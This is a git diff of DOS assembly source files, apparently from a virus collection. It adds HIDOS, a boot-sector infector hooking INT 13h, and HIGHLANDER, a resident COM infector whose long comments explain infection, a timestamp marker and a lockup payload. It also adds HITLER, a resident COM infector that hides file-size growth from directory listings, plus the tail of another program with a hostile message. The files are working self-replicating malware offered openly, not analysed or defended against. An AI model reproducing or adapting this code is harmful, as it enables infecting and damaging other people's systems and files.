cmp pontszam,ax + je trew + mov cx,pontm + sub cx,pontszam + mov ch,cl + shR cx,1 + shr cx,1 +yut: loop yut + inc pontszam + ret +trew: call movie + mov bx,bxpo + cmp bx,offset patt + je valto + cmp bx,offset patt+29 + je valto +iuy: add bx,novi + mov bxpo,bx + ret +valto: neg novi + jmp iuy +novi dw -1 +bxpo dw offset patt +bxpo2 dw 320 +novi2 dw 4 +karal dw 300 +karal2 dw 600 +zizi dw -1,offset patt,320,4,300,600 +movie: cmp karal,0 + je jesty + dec karal + ret +jesty: cmp karal2,0 + je jesty2 + dec karal2 +jesty2: mov bx,bxpo2 + cmp bx,100 + je valto2 + cmp bx,540 + je valto2 +iuy2: add bx,novi2 + mov bxpo2,bx + ret +valto2: neg novi2 + jmp iuy2 +elokesz: call novpont + mov bl,szogx + xor bh,bh + shl bx,1 + mov ax,sintabl[bx] + mov sina,ax + mov ax,costabl[bx] + mov cosa,ax + mov bl,szogy + xor bh,bh + shl bx,1 + mov ax,sintabl[bx] + mov sinb,ax + mov ax,costabl[bx] + mov cosb,ax + mov al,szogxvalt + add szogx,al + mov al,szogyvalt + add szogy,al + ret + even +szogx db 0 +szogy db 0 +szogxvalt db 2 +szogyvalt db 5 +tavol dw 32767 + +phase: call elokesz + call fazisrajz + ret +entry: call kezdfazisrajz +rajta1: call phase + cmp pontm,100 + je apc + cmp byte ptr ds:[offset ruut +2],0b8h + je ccggaa + mov cx,counterr + mov dx,3bah +qaz1: in al,dx + and al,1 + jnz qaz1 +qaz2: in al,dx + and al,1 + jz qaz2 + loop qaz1 + jmp apc +ccggaa: mov dx,3dah +qaz3: in al,dx + and al,8 + jnz qaz3 +qaz4: in al,dx + and al,8 + jz qaz4 +apc: mov dx,port + in al,dx + and al,1 + jz rajta1 + ret + even +plotdw dw 0 +unplotdw dw 0 + +sintabl dw 0, 804, 1608, 2410, 3212, 4011, 4808, 5602, 6393 + dw 7179, 7962, 8739, 9512, 10278, 11039, 11793, 12539, 13279 + dw 14010, 14732, 15446, 16151, 16846, 17530, 18204, 18868, 19519 + dw 20159, 20787, 21403, 22005, 22594, 23170, 23731, 24279, 24811 + dw 25329, 25832, 26319, 26790, 27245, 27683, 28105, 28510, 28898 + dw 29268, 29621, 29956, 30273, 30571, 30852, 31113, 31356, 31580 + dw 31785, 31971, 32137, 32285, 32412, 32521, 32609, 32678, 32728 + dw 32757, 32767, 32757, 32728, 32678, 32609, 32521, 32412, 32285 + dw 32137, 31971, 31785, 31580, 31356, 31113, 30852, 30571, 30273 + dw 29956, 29621, 29268, 28898, 28510, 28105, 27683, 27245, 26790 + dw 26319, 25832, 25329, 24811, 24279, 23731, 23170, 22594, 22005 + dw 21403, 20787, 20159, 19519, 18868, 18204, 17530, 16846, 16151 + dw 15446, 14732, 14010, 13279, 12539, 11793, 11039, 10278, 9512 + dw 8739, 7962, 7179, 6393, 5602, 4808, 4011, 3212, 2410 + dw 1608, 804, 0, -804, -1608, -2410, -3212, -4011, -4808 + dw -5602, -6393, -7179, -7962, -8739, -9512,-10278,-11039,-11793 + dw -12539,-13279,-14010,-14732,-15446,-16151,-16846,-17530,-18204 + dw -18868,-19519,-20159,-20787,-21403,-22005,-22594,-23170,-23731 + dw -24279,-24811,-25329,-25832,-26319,-26790,-27245,-27683,-28105 + dw -28510,-28898,-29268,-29621,-29956,-30273,-30571,-30852,-31113 + dw -31356,-31580,-31785,-31971,-32137,-32285,-32412,-32521,-32609 + dw -32678,-32728,-32757,-32767,-32757,-32728,-32678,-32609,-32521 + dw -32412,-32285,-32137,-31971,-31785,-31580,-31356,-31113,-30852 + dw -30571,-30273,-29956,-29621,-29268,-28898,-28510,-28105,-27683 + dw -27245,-26790,-26319,-25832,-25329,-24811,-24279,-23731,-23170 + dw -22594,-22005,-21403,-20787,-20159,-19519,-18868,-18204,-17530 + dw -16846,-16151,-15446,-14732,-14010,-13279,-12539,-11793,-11039 + dw -10278, -9512, -8739, -7962, -7179, -6393, -5602, -4808, -4011 + dw -3212, -2410, -1608, -804 +costabl dw 32767, 32757, 32728, 32678, 32609, 32521, 32412, 32285 + dw 32137, 31971, 31785, 31580, 31356, 31113, 30852, 30571 + dw 30273, 29956, 29621, 29268, 28898, 28510, 28105, 27683 + dw 27245, 26790, 26319, 25832, 25329, 24811, 24279, 23731 + dw 23170, 22594, 22005, 21403, 20787, 20159, 19519, 18868 + dw 18204, 17530, 16846, 16151, 15446, 14732, 14010, 13279 + dw 12539, 11793, 11039, 10278, 9512, 8739, 7962, 7179 + dw 6393, 5602, 4808, 4011, 3212, 2410, 1608, 804 + dw 0, -804, -1608, -2410, -3212, -4011, -4808, -5602 + dw -6393, -7179, -7962, -8739, -9512,-10278,-11039,-11793 + dw -12539, -13279,-14010,-14732,-15446,-16151,-16846,-17530 + dw -18204, -18868,-19519,-20159,-20787,-21403,-22005,-22594 + dw -23170, -23731,-24279,-24811,-25329,-25832,-26319,-26790 + dw -27245, -27683,-28105,-28510,-28898,-29268,-29621,-29956 + dw -30273, -30571,-30852,-31113,-31356,-31580,-31785,-31971 + dw -32137, -32285,-32412,-32521,-32609,-32678,-32728,-32757 + dw -32767, -32757,-32728,-32678,-32609,-32521,-32412,-32285 + dw -32137, -31971,-31785,-31580,-31356,-31113,-30852,-30571 + dw -30273, -29956,-29621,-29268,-28898,-28510,-28105,-27683 + dw -27245, -26790,-26319,-25832,-25329,-24811,-24279,-23731 + dw -23170, -22594,-22005,-21403,-20787,-20159,-19519,-18868 + dw -18204, -17530,-16846,-16151,-15446,-14732,-14010,-13279 + dw -12539, -11793,-11039,-10278, -9512, -8739, -7962, -7179 + dw -6393, -5602, -4808, -4011, -3212, -2410, -1608, -804 + dw 0, 804, 1608, 2410, 3212, 4011, 4808, 5602 + dw 6393, 7179, 7962, 8739, 9512, 10278, 11039, 11793 + dw 12539, 13279, 14010, 14732, 15446, 16151, 16846, 17530 + dw 18204, 18868, 19519, 20159, 20787, 21403, 22005, 22594 + dw 23170, 23731, 24279, 24811, 25329, 25832, 26319, 26790 + dw 27245, 27683, 28105, 28510, 28898, 29268, 29621, 29956 + dw 30273, 30571, 30852, 31113, 31356, 31580, 31785, 31971 + dw 32137, 32285, 32412, 32521, 32609, 32678, 32728, 32757 +gombdata: + DW 44, 3, 22, 29, 6, 40, 7, 9, 48,-14, 12, 46 + DW -33, 15, 33,-44, 18, 14,-44, 21, -7,-35, 24,-25 + DW -19, 26,-37, 0, 29,-40, 17, 31,-34, 29, 34,-21 + DW 33, 36, -5, 30, 38, 9, 20, 40, 20, 8, 42, 25 + DW -3, 43, 23,-12, 45, 17,-16, 46, 8,-15, 47, 0 + DW -11, 48, -5, -5, 49, -7, 0, 49, -6, 0, 49, -2 + DW 0, 49, 0, -2, 49, 0, -6, 49, 0, -7, 49, -5 + DW -5, 48,-11, 0, 47,-15, 8, 46,-16, 17, 45,-12 + DW 23, 43, -3, 25, 42, 8, 20, 40, 20, 9, 38, 30 + DW -5, 36, 33,-21, 34, 29,-34, 31, 17,-40, 29, 0 + DW -37,26,-19,-25,24,-35,-7,21,-44,14,18,-44 + DW 33,15,-33,46,12,-14,48,9,7,40,6,29 + DW 22,3,44,0,0,49,-22,-3,44,-40,-6,29 + DW -48,-9,7,-46,-12,-14,-33,-15,-33,-14,-18,-44 + DW 7,-21,-44,25,-24,-35,37,-26,-19,40,-29,0 + DW 34,-31,17,21,-34,29,5,-36,33,-9,-38,30 + DW -20,-40,20,-25,-42,8,-23,-43,-3,-17,-45,-12 + DW -8,-46,-16,0,-47,-15,5,-48,-11,7,-49,-5 + DW 6,-49,0,2,-49,0,0,-49,0,0,-49,-2 + DW 0,-49,-6,5,-49,-7,11,-48,-5,15,-47,0 + DW 16,-46,8,12,-45,17,3,-43,23,-8,-42,25 + DW -20,-40,20,-30,-38,9,-33,-36,-5,-29,-34,-21 + DW -17,-31,-34,0,-29,-40,19,-26,-37,35,-24,-25 + DW 44,-21,-7,44,-18,14,33,-15,33,14,-12,46 + DW -7,-9,48,-29,-6,40,-44,-3,22,-49,0,0 + DW -44,3,-22,-29,6,-40,-7,9,-48,14,12,-46 + DW 33,15,-33,44,18,-14,44,21,7,35,24,25 + DW 19,26,37,0,29,40,-17,31,34,-29,34,21 + DW -33,36,5,-30,38,-9,-20,40,-20,-8,42,-25 + DW 3,43,-23,12,45,-17,16,46,-8,15,47,0 + DW 11,48,5,5,49,7,0,49,6,0,49,2 + DW 0,49,0,2,49,0,6,49,0,7,49,5 + DW 5,48,11,0,47,15,-8,46,16,-17,45,12 + DW -23,43,3,-25,42,-8,-20,40,-20,-9,38,-30 + DW 5,36,-33,21,34,-29,34,31,-17,40,29,0 + DW 37,26,19,25,24,35,7,21,44,-14,18,44 + DW -33,15,33,-46,12,14,-48,9,-7,-40,6,-29 + DW -22,3,-44,0,0,-49,22,-3,-44,40,-6,-29 + DW 48,-9,-7,46,-12,14,33,-15,33,14,-18,44 + DW -7,-21,44,-25,-24,35,-37,-26,19,-40,-29,0 + DW -34,-31,-17,-21,-34,-29,-5,-36,-33,9,-38,-30 + DW 20,-40,-20,25,-42,-8,23,-43,3,17,-45,12 + DW 8,-46,16,0,-47,15,-5,-48,11,-7,-49,5 + DW -6,-49,0,-2,-49,0,0,-49,0,0,-49,2 + DW 0,-49,6,-5,-49,7,-11,-48,5,-15,-47,0 + DW -16,-46,-8,-12,-45,-17,-3,-43,-23,8,-42,-25 + DW 20,-40,-20,30,-38,-9,33,-36,5,29,-34,21 + DW 17,-31,34,0,-29,40,-19,-26,37,-35,-24,25 + DW -44,-21,7,-44,-18,-14,-33,-15,-33,-14,-12,-46 + DW 7,-9,-48,29,-6,-40,44,-3,-22,49,0,0 +patt: DB 0, 0, 0, 0, 0, 1, 1, 2, 4, 5, 7, 9,11,14,17,20,23,27 + db 31,35,40,45,50,56,61,67,73,80,86,93 + + + +mess db 'HARD HIT & HEAVY HATE the HUMANS !!' + db ' [ H.H.& H.H. the H. ] ' +drt dw 5 dup (0) +memory: + CODE ENDS + + END START + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/h/HIDOS.ASM b/h/HIDOS.ASM new file mode 100755 index 0000000..1a9f5c5 --- /dev/null +++ b/h/HIDOS.ASM @@ -0,0 +1,213 @@ + NAME boot + PAGE 55,132 + TITLE FILE UTIL + + + + +code segment + + ASSUME CS:CODE,DS:CODE,ES:CODE + + org 100h + +main: jmp over + db '[' +id db 'HiDos]',0 +by db 'By Apache',0 +over: xor ax,ax + mov ds,ax + cli + mov ss,ax + mov sp,7c00h + sti + mov ax,ds:[004eh] + mov word ptr ds:[int13+7b02h],ax + mov ax,ds:[004ch] + mov word ptr ds:[int13+7b00h],ax + mov ax,ds:[0413h] + dec ax + dec ax + mov ds:[0413h],ax + mov cl,06h + shl ax,cl + mov es,ax + mov word ptr ds:[bigj+7b02h],es + mov ax,offset jumpt + mov word ptr ds:[bigj+7b00h],ax + mov cx,0400h + push cs + pop ds + mov si,7c00h + mov di,0100h + cld + repz + movsb + push cs + pop ds + jmp cs:[bigj+7b00h] + +jumpt: push cs + pop ds + mov si,offset drive + cmp byte ptr ds:[si],80h + jz hdone + mov bx,0300h + mov cx,0001h + mov dx,0080h + push cs + pop es + call hdread + cmp ds:[0304h],'iH' + jz hdone + mov bx,0300h + mov cx,0007h + mov dx,0080h + call hdwrit + mov si,04beh + mov di,02beh + mov cx,0042h + cld + repz + movsb + mov byte ptr ds:[drive],80h + mov bx,0100h + mov cx,0001h + mov dx,0080h + call hdwrit + mov byte ptr ds:[drive],00h + +hdone: xor ax,ax + mov word ptr cs:[boot+2],ax + mov es,ax + push cs + pop ds + mov ax,0201h + mov bx,7c00h + mov word ptr ds:[boot],bx + mov si,offset drive + cmp byte ptr ds:[si],80h + jz hload + mov cx,0003h + mov dx,0100h + jmp fload +hload: mov cx,0007h + mov dx,0080h +fload: mov di,'rv' + int 13h + mov si,offset drive + mov byte ptr cs:[si],00h + xor ax,ax + mov es,ax + mov ds,ax + mov ax,offset nint13 + mov ds:[004ch],ax + mov ds:[004eh],cs + push cs + pop ds + jmp cs:[boot] + +hdwrit: mov ax,0301h + mov di,'rv' + jmp xx4 +hdread: mov ax,0201h + mov di,'rv' +xx4: int 13h + ret + +nint13: cmp di,'rv' + jz iv13 + cmp ah,02h + jnz wcheck + cmp cl,01h + jnz wcheck + cmp dh,00h + jnz wcheck + cmp dl,80h + jz check1 + cmp dl,00h + jnz wcheck +check1: push ax + push bx + push cx + push dx + push ds + push es + push di + mov bx,0300h + push cs + pop es + call hdread + mov si,offset [id+0200h] + cmp es:[si],'iH' + jz redirect + jmp iflopd +redirect: cmp dl,80h + jnz rdirfl + pop di + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + mov cx,0007h + jmp a13 + +rdirfl: pop di + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + mov cx,0003h + mov dx,0100h +a13: mov ax,0201h +iv13: jmp v13 + + +wcheck: cmp ah,03h + jnz v13 + cmp dl,00h + jnz v13 + push ax + push bx + push cx + push dx + push ds + push es + push di + push cs + pop es + mov bx,0300h + mov cx,0001h + xor dx,dx + call hdread + mov si,offset [id+0200h] + cmp es:[si],'iH' + jz iflopd + mov cx,0003h + mov dx,0100h + mov bx,0300h + call hdwrit + mov bx,0100h + xor dx,dx + mov cx,0001h + call hdwrit +iflopd: pop di + pop es + pop ds + pop dx + pop cx + pop bx + pop ax +v13: db 0eah +int13 dd 0h +drive db 0h +bigj dd 0h +boot dd 0h + +code ends + +end main \ No newline at end of file diff --git a/h/HIGHLAND.ASM b/h/HIGHLAND.ASM new file mode 100755 index 0000000..3f13c66 --- /dev/null +++ b/h/HIGHLAND.ASM @@ -0,0 +1,422 @@ +;HIGHLAND.COM + +;This is the HIGHLANDER Virus version 1.0. + +;This virus is a generic, parasitic, resident COM infector. It will not +;infect command.com however. It is not destructive but can be irritating. +;Interrupt 21 is hooked. + +;This virus is to be assembled under TASM 2.0 with the /m2 switch. + +;When an infected file is executed, the virus code is executed first. +;The virus first checks to see if the virus is already resident. It does +;this by setting the AH register to 0DEh. This subfunction is currently +;unsupported by DOS. Interrupt 21 is then called. If after the call, AH is +;unchanged, the virus is not resident. If AH no longer contains 0DEh, the +;virus is assumed to be resident (If the virus is resident, AH will actually +;be changed to 0EDh. This is never checked for, only a change from 0DEh +;is checked for). If the virus is already resident, the executing viral +;code will restore the host in memory to original condition and allow it +;to execute normally. If however, the virus is not resident, Interrupt 21 +;will then be trapped by the virus. Once this is accomplished, the virus +;will free all available memory that it does not need (COM programs are +;allocated all available memory when they are executed even though they can +;only occupy one segment). The viral code will then copy the original +;environment and determine the path and filename of the host program in +;memory. The viral code will then shell out and re-execute the host +;program. The virus is nearly resident now. When the virus shells out +;and re-executes the host, a non-supported value is passed in the AL +;register. This is interpreted by the virus to mean that the infection +;is in transition and that when the host is re-executed, to assume that the +;virus is already resident. This value is then changed to the proper value +;so that the shell process will execute normally (INT 21 is already trapped +;at this point). This shell process is invisible, since the viral code +;so successfully copies the original environment. Once the host has +;finished executing, control is then returned back to the original host +;(the viral code). The virus then completes execution by going resident +;using interrupt 027h. In all appearances, the host program has just +;completed normal execution and has terminated. In actuality, the virus +;is now fully resident. + +;When the virus is resident, interrupt 021h is trapped and monitored. +;When a program is executed, the resident virus gets control (DOS executes +;programs by shelling from DOS using interrupt 021h, subfunction 04bh). +;When the virus sees that a program is being executed, a series of checks +;are performed. The first thing checked for is whether or not the program +;to be executed has 'D' as the seventh letter in the filename. If it does +;the program is not infected and is allowed to execute normally (this is +;how the virus keeps from infecting COMMAND.COM. No COM file with a 'D' +;as the seventh letter will be infected). If there is no 'D' as the seventh +;letter, the virus then checks to see if the program to be executed is a +;COM file or not. If it is not a COM file, it is not infected and allowed +;to execute normally. If the COM file test is passed, the file size is then +;checked. Files are only infected if they are larger than 1024 bytes and +;smaller than 62000 bytes. If the file size is within bounds, the file +;is checked to see if it is already infected. Files are only infected +;a single time. The virus determines infection by checking the date/time +;stamp of the file. If the seconds portion of the stamp is equal to 40, +;the file is assumed to be infected. If the file is infected, the virus +;then checks the date. If it is the 29th day of any month, the virus will +;then display its irritating qualities by displaying the message +;'Highlander 1 RULES!' 21 times and then locking the machine and forcing +;a reboot. If the file is not infected, infection will proceed. The +;virus stores the original attributes and then changes the attributes to +;normal, read/write. The file length is also stored. The file is then +;opened and the first part of the file is read and stored in memory (the +;exact number of bytes is the same length as the virus). The virus then +;proceeds to overwrite the first part of the file with its own code. The +;file pointer is then adjusted to the end of the file and a short +;restoration routine is copied. The original first part of the file is +;then copied to the end of the file after the restore routine. The files +;time/date stamp is then adjusted to show an infection (the seconds portion +;of the time is set to 40. This will normally never be noticed since +;directory listings never show the seconds portion). The file is then +;closed and the original attributes are restored. Control is then passed +;to the original INT 021h routine and the now infected program is allowed +;to execute normally. + +;This virus will infect read-only files. +;COMMAND.COM will not be infected. +;It is not destructive but can be highly irritating. + + + +.model tiny +.code + IDEAL + + +begin: + jmp checkinfect ;jump over data to virus code + + +data1: + dw offset endcode+0100h ;address of restore routine +typekill: + db 01ah ;kills the DOS 'type' command +version: + db 'v05' ;virus version number +data2: + dw 0,080h,0,05ch,0,06ch,0 ;environment string for shell process +data3: + db 'COM' ;COM file check +data4: + db 0,0,1,0 ;data preceeding filename in environment +data5: + db 'Highlander 1 RULES! $' ;irritating message + + +restcode: ;restoration routine to restore host + rep movsb ;move host code back to original loc + push cs ;setup to transfer control to 0100h + mov ax,0100h + push ax + mov ax,cx ;zero ax + ret ;transfer control to 0100h and allow host + ;to execute normally + + +checkinfect: ;check to see if virus already resident + mov ax,0de00h ;unsupported subfunction + int 21h + cmp ah,0deh ;is it unchanged? + je continfect ;yes, continue going resident + ;no, already resident, restore host + + +restorehost: ;setup for restore routine + mov di,0100h ;destination of bytes to be moved + mov si,[word data1+0100h] ;address of restore routine + ;(original host) + push cs ;setup for xfer to restore routine + push si + add si,checkinfect-restcode ;source of bytes to be moved + mov cx,endcode-begin ;number of bytes to move + ret ;xfer to restore routine + + +continfect: ;continue infection + mov ax,3521h ;set ax to get INT 21 vector address + int 21h ;get INT 21 vector + mov [WORD int21trap+1+0100h],bx + ;store address in viral code + mov [WORD int21trap+3+0100h],es + ;store segment in viral code + mov dx,offset start+0100h ;set dx to start of viral code + mov ax,2521h ;set ax to change INT 21 vector + int 21h ;change INT 21 to point to virus + mov [word data2+0100h+4],ds ;copy current segment to env string + mov [word data2+0100h+8],ds ;for shell process + mov [word data2+0100h+12],ds + push ds ;restore es to current segment + pop es + mov bx,offset endcode+0100h ;set bx to end of viral code + mov cl,04 ;divide by 16 + shr bx,cl + inc bx ;INC by 1 just in case. bx is number of + ;paragraphs of memory to reserve + mov ah,04ah ;set ah to release memory + int 21h ;release all excess memory + mov ds,[word 02ch] ;get segment of environment copy + xor si,si ;zero si + cld ;clear direction flag + + +tryagain: + mov di,offset data4+0100h ;point to data preceeding filename + mov cx,4 ;data is 4 bytes long + repe cmpsb ;check for match + jne tryagain ;if no match, try again + mov dx,si ;filename found. set dx to point + mov bx,offset data2+0100h ;set bx to point to environment string + mov ax,04bffh ;set ax to shell and execute. AL contains + ;an invalid value which will be interpreted + ;by the virus (int 21 is now trapped by it) + ;and changed to 00. + cld ;clear direction flag + int 21h ;shell and re-execute the host program + mov dx,(endcode-begin)*2+0110h + ;set dx to end of virus *2 plus 10. This + ;will point to the end of the resident + ;portion of the virus + int 27h ;terminate and stay resident + + +start: ;start of virus. The trapped INT 21 points + ;to this location. + pushf ;store the flags + cmp ah,0deh ;is calling program checking for infection? + jne check4run ;no, continue on checking for execution + mov ah,0edh ;yes, change ah to 0edh + jmp cont ;jump over rest of viral code + + +check4run: + cmp ah,04bh ;check for program attempting to execute + je nextcheck ;yes, continue checks + jmp cont ;no, jump over rest of virus + + +nextcheck: + cmp al,0ffh ;check if virus is shelling. 0ffh will + ;normally never be used and is used by + ;the virus to shell the host before it is + ;fully resident. This prevents the virus + ;from shelling twice, which will work but + ;lose the environment and cause problems. + jne workvirus ;normal DOS shell. Jump to virus meat. + xor al,al ;virus is shelling. zero al. + jmp cont ;jump over rest of virus + + +workvirus: + push ax ;store all registers subject to change + push bx + push cx + push es + push si + push di + push dx + push ds + push cs ;store the code segment so it can be used + push cs ;to set the ds and es registers + pop ds ;set ds to same as cs + pop es ;set es to same as cs + mov dx,080h ;set dx to offset 080h + mov ah,01ah ;set ah to create DTA + int 21h ;create DTA at 080h (normal DTA area) + pop ds ;set ds to original ds + pop dx ;set dx to original dx (ds:dx is used to + ;point to the path and filename of the + ;program to be executed) + push dx ;store these values back + push ds + xor cx,cx ;zero cx + mov ah,04eh ;set ah to search for filename match + int 21h ;search for filename (this is primarily + ;done to setup data in the DTA so that it + ;can be checked easier than making a + ;number of individual calls) + push es ;store es (same as cs) + pop ds ;set ds to same as es and cs + cmp [byte 087h],'D' ;check for 'D' as seventh letter in file + jne j5 + jmp endvirus ;if 'D' is 7th letter, dont infect +j5: + mov si,offset data3+0100h ;set source of bytes to compare + mov di,089h ;set destination of bytes to compare + mov cx,3 ;number of bytes to compare + cld ;compare forward + repe cmpsb ;compare bytes (check to see if file's + ;extension is COM) + je j1 + jmp endvirus ;not a COM file. Dont infect +j1: + mov bx,[word 009ah] ;set bx to length of file + cmp bx,1024 ;is length > 1024? + jae j2 ;yes, continue with checks + jmp endvirus ;no, dont infect +j2: + cmp bx,62000 ;is length < 62000? + jbe j3 ;yes, continue with checks + jmp endvirus ;no, dont infect +j3: + mov ax,[word 096h] ;set ax to file's time stamp + and ax,0000000000011111b ;clear everything but seconds + cmp ax,0000000000010100b ;is seconds = 40? + jne j4 ;yes, continue with infection + mov ah,02ah ;no, set ah to get the date + int 21h ;get current system date + mov cx,21 ;set cx to 21 + cmp dl,29 ;is the date the 29th? + je irritate ;yes, continue with irritate + jmp endvirus ;no, let program execute normally + + +irritate: + mov dx,offset data5+0100h ;point dx to irritating message + mov ah,09h ;set ah to write to screen + int 21h ;write message 21 times + loop irritate + iret ;xfer program control to whatever's on + ;the stack (this almost guarantee's a + ;lockup and a reboot) + + +j4: + mov ax,[word 096h] ;set ax equal to the file's time stamp + and ax,1111111111100000b ;zero the seconds portion + or ax,0000000000010100b ;set the seconds = 40 + add bx,0100h ;set bx = loc for restore routine (end + ;of file once its in memory) + mov [word data1+0100h],bx ;store this value in the virus + mov bx,ax ;set bx = to adjusted time stamp + pop ds ;get the original ds + push ds ;store this value back + mov ax,04300h ;set ax to get the file's attributes + ;ds:dx already points to path/filename + int 21h ;get the files attributes + push cx ;push the attributes + push bx ;push the adjusted time stamp + xor cx,cx ;zero cx(attributes for normal, read/write) + mov ax,04301h ;set ax to set file attributes + int 21h ;set files attributes to normal/read/write + mov ax,03d02h ;set ax to open file + int 21h ;open file for read/write access + mov bx,ax ;mov file handle to bx + push cs ;push current code segment + pop ds ;and pop into ds (ds=cs) + mov cx,endcode-begin ;set cx equal to length of virus + mov dx,offset endcode+0100h ;point dx to end of virus in memory + mov ah,03fh ;set ah to read from file + int 21h ;read bytes from beginning of file and + ;store at end of virus. Read as many bytes + ;as virus is long. + xor cx,cx ;zero cx + xor dx,dx ;zero dx + mov ax,04200h ;set ax to move file pointer from begin + int 21h ;mov file pointer to start of file + mov cx,endcode-begin ;set cx = length of virus + mov dx,0100h ;point dx to start of virus + mov ah,040h ;set ah to write to file + int 21h ;write virus to start of file + xor cx,cx ;zero cx + xor dx,dx ;zero dx + mov ax,04202h ;set ax to move file pointer from end + int 21h ;mov file pointer to end of file + mov cx,checkinfect-restcode ;set cx to length of restore routine + mov dx,offset restcode+0100h ;point dx to start of restore routine + mov ah,040h ;set ah to write to file + int 21h ;write restore routine to end of file + mov cx,endcode-begin ;set cx to length of virus (length of code + ;read from beginning of file) + mov dx,offset endcode+0100h ;point dx to data read from file + mov ah,040h ;set ah to write to file + int 21h ;write data read from start of file to end + ;of file following restore routine + pop cx ;pop the adjusted time stamp + mov dx,[word 098h] ;mov the file date stamp into dx + mov ax,05701h ;set ax to write time/date stamp + int 21h ;write time/date stamp to file + mov ah,03eh ;set ah to close file + int 21h ;close the file + pop cx ;pop the original attributes + pop ds ;pop the original ds + pop dx ;pop the original dx + push dx ;push these values back + push ds + mov ax,04301h ;set ax to set file attributes (ds:dx now + ;points to original path/filename) + int 21h ;set the original attributes back to file + + +endvirus: ;virus execution complete. restore original + ;values for INT 21 function + pop ds + pop dx + pop di + pop si + pop es + pop cx + pop bx + pop ax + + +cont: ;virus complete. restore original flags + popf + pushf + + +int21trap: ;this calls the original INT 21 routine + db 09ah ;opcode for a far call + nop ;blank area. the original INT 21 vector + nop ;is copied to this area + nop + nop + push ax ;after the original INT 21 routine has + ;completed execution, control is returned + ;to this point + push bx + pushf ;push the flags returned from the INT 21 + ;routine. We have to get them in the + ;proper location in the stack when we + ;return to the calling program + pop ax ;pop the flags + mov bx,sp ;set bx equal to the stack pointer + mov [word ss:bx+8],ax ;copy the flags to the proper location in + ;the stack + pop bx ;restore bx + pop ax ;restore ax + iret ;return to calling program + + +signature: + db 'dex' + + +endcode: ;this file has been written as if it were + ;a natural infection. At this point the + ;virus is ended and we are at the restore + ;routine. Following this is the host code + ;which will be moved back to 0100h. This + ;file could never actually be a natural + ;infection however due to its small size + rep movsb ;start of restore routine. move host back + push cs ;set up to xfer to cs:0100h + mov ax,0100h + push ax + mov ax,cx ;zero ax + ret ;host is restored. xfer to start of host +hoststart: ;This is the host program. It consists + ;merely of a simple message being displayed + jmp skipdata ;jump over message +hostmessage: + db 'The virus is now resident.$' +skipdata: + mov ah,09h ;set ah to write to screen + mov dx,offset hostmessage+0100h + ;point dx to message to display + int 21h ;display message + mov ah,04ch ;set ah to terminate program + int 21h ;terminate program, return to DOS + END diff --git a/h/HITLER.ASM b/h/HITLER.ASM new file mode 100755 index 0000000..48ef0b8 --- /dev/null +++ b/h/HITLER.ASM @@ -0,0 +1,701 @@ + call rakett +old db ' !' +rakett: pop bp + push bp + add bp,-103h + + mov ax,42ABh + int 21h + jnc failed + + cli + mov ax,3521h + int 21h + mov w [bp+offset old21],bx + mov w [bp+offset old21+2],es + + mov al,1Ch + int 21h + cli + mov w [bp+offset old1C],bx + mov w [bp+offset old1C+2],es + mov w [bp+offset teller],16380 + sti + + call normalspeed + + mov si,ds + std + lodsb + cld + mov ds,si + + xor bx,bx + mov cx,pgf + cmp b [bx],'Z' + jne failed + mov ax,[bx+3] + sub ax,cx + jc failed + mov [bx+3],ax + sub [bx+12h],cx + mov es,[bx+12h] + + push cs + pop ds + + mov di,100h + mov si,bp + add si,di + mov cx,size + rep movsb + + push es + pop ds + mov ax,2521h + mov dx,offset ni21 + int 21h + mov al,1Ch + mov dx,offset ni1C + int 21h + +failed: push cs + push cs + pop ds + pop es + + pop si + mov di,100h + push di + movsw + movsw + movsb + + mov cx,0FFh + mov si,100h + ret + + +findFCB: popf + call int21 + pushf + or al,al + jnz backFCB + call stealth +backFCB: popf + iret + +stealth: push ax + push bx + push dx + push es + + mov ah,2Fh + call int21 + + cmp byte es:[bx],0FFh + jne normFCB + add bx,8 +normFCB: mov al,byte es:[bx+16h] + and al,31 + xor al,31 + jnz shitFCB + mov ax,word es:[bx+1Ch] + mov dx,word es:[bx+1Ch+2] + sub ax,size + sbb dx,0 + jc shitFCB + mov word es:[bx+1Ch],ax + mov word es:[bx+1Ch+2],dx +shitFCB: + pop es + pop dx + pop bx + pop ax + ret + +ni21: pushf + cmp ah,11h + je findFCB + cmp ah,12h + je findFCB + + cmp ax,42ABh + jne not_42AB + popf + clc + retf 2 +not_42AB: + cmp ax,4B00h + jne not_4B00 + +call install_24 + + push ax + push bx + push cx + push dx + push ds + push bp + + mov ax,4300h + call int21 + jc back1 + mov cs:old_attr,cx + + test cl,4 + jnz back1 + + mov ax,4301h + xor cx,cx + call int21 + jc back1 + + push dx + push ds + call infect + pop ds + pop dx + + mov ax,4301h +db 0B9h ;mov CX,... +old_attr dw 0 + call int21 + +back1: ;go here if the attrib-get fails + pop bp + pop ds + pop dx + pop cx + pop bx + pop ax + +call remove_24 + +not_4B00: +back: popf + db 0EAh +old21 dw 0,0 + +int21: pushf + call dword ptr cs:old21 + ret + +infect: mov ax,3D02h + call int21 + jnc okay_open +bad1: ret +okay_open: xchg bx,ax + mov ax,5700h + call int21 + push cx + mov bp,sp + push dx + + mov ah,3Fh + mov cx,5 + mov dx,offset old + push cs + pop ds + call int21 + jc close + cmp al,5 + jne close + + cmp word old[0],'MZ' + je close + cmp word old[0],'ZM' + je close + cmp old[0],0E9h + jne infect1 + cmp word old[3],'!' + jne infect1 + +close: pop dx + pop cx + mov ax,5701h + call int21 + mov ah,3Eh + call int21 + ret + +infect1: mov ax,4202h + xor cx,cx + xor dx,dx + call int21 + + or dx,dx + jnz close + cmp ax,59000 + jae close + + dec ax + dec ax + dec ax + + mov word ptr putjmp[1],ax + + mov ah,40h + mov cx,size + mov dx,100h + call int21 + jc close + cmp ax,size + jne close + + mov ax,4200h + xor cx,cx + xor dx,dx + call int21 + + mov ah,40h + mov cx,5 + mov dx,offset putjmp + call int21 + + or byte ss:[bp],31 + + jmp close + +putjmp db 0E9h + dw 0 + db '!' + +install_24: pushf + cli + push bx + push ds + xor bx,bx + mov ds,bx + push ds + lds bx,[24h*4] + mov cs:old24[0],bx + mov cs:old24[2],ds + pop ds + mov word [(24h*4)],offset ni24 + mov [(24h*4)+2],cs + pop ds + pop bx + sti + popf + ret + +remove_24: pushf + cli + push bx + push es + push ds + xor bx,bx + mov ds,bx + les bx,cs:old24[0] + + mov [(24h*4)],bx + mov [(24h*4)+2],es + + pop ds + pop es + pop bx + sti + popf + ret 